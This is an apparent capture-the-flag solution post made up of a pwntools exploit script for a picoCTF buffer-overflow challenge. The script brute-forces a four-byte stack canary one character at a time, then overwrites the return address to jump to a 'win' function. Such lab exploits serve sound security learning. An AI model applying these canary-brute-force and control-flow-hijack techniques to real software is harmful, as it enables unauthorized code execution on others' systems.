Buffer Overflow 3


July 24, 20251 minute

#!/usr/bin/env python3

from pwn import *

exe = ELF("./vuln_patched_patched", checksec=False)

context.binary = exe
context.terminal = ["alacritty", "-e"]
context.log_level = 'warn'
def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r)
    else:
        r = remote("saturn.picoctf.net", 59631)

    return r


def main():
    # good luck pwning :)
    offset_canary = 64
    lenght_canary = 4
    offset_canary_to_eip = 16
    canary = b''
    output = ''
    success_msg = "Ok... Now Where's the Flag?"
    chars = string.printable
    for i in range(lenght_canary):
        for c in chars:
            size = offset_canary + len(canary) + 1
            r = conn()
            r.sendlineafter(b'>', str(size).encode())
            payload = b'A' * offset_canary
            payload += canary
            payload += c.encode()
            r.sendlineafter(b'>', payload)
            output = r.recvline()
            if success_msg in output.decode():
                canary += c.encode()
                print(f"[+] Canary in position {i}: {c}")
                break
    r = conn()
    print(f"\n[*] Canary: {canary}")
    payload = b'A' * 64
    payload += canary
    payload += b'B' * offset_canary_to_eip
    payload += p32(0x08049336) # win addr
    size = len(payload)
    r.sendlineafter(b'>', str(size).encode())
    r.sendlineafter(b'>', payload)

    r.interactive()


if __name__ == "__main__":
    main()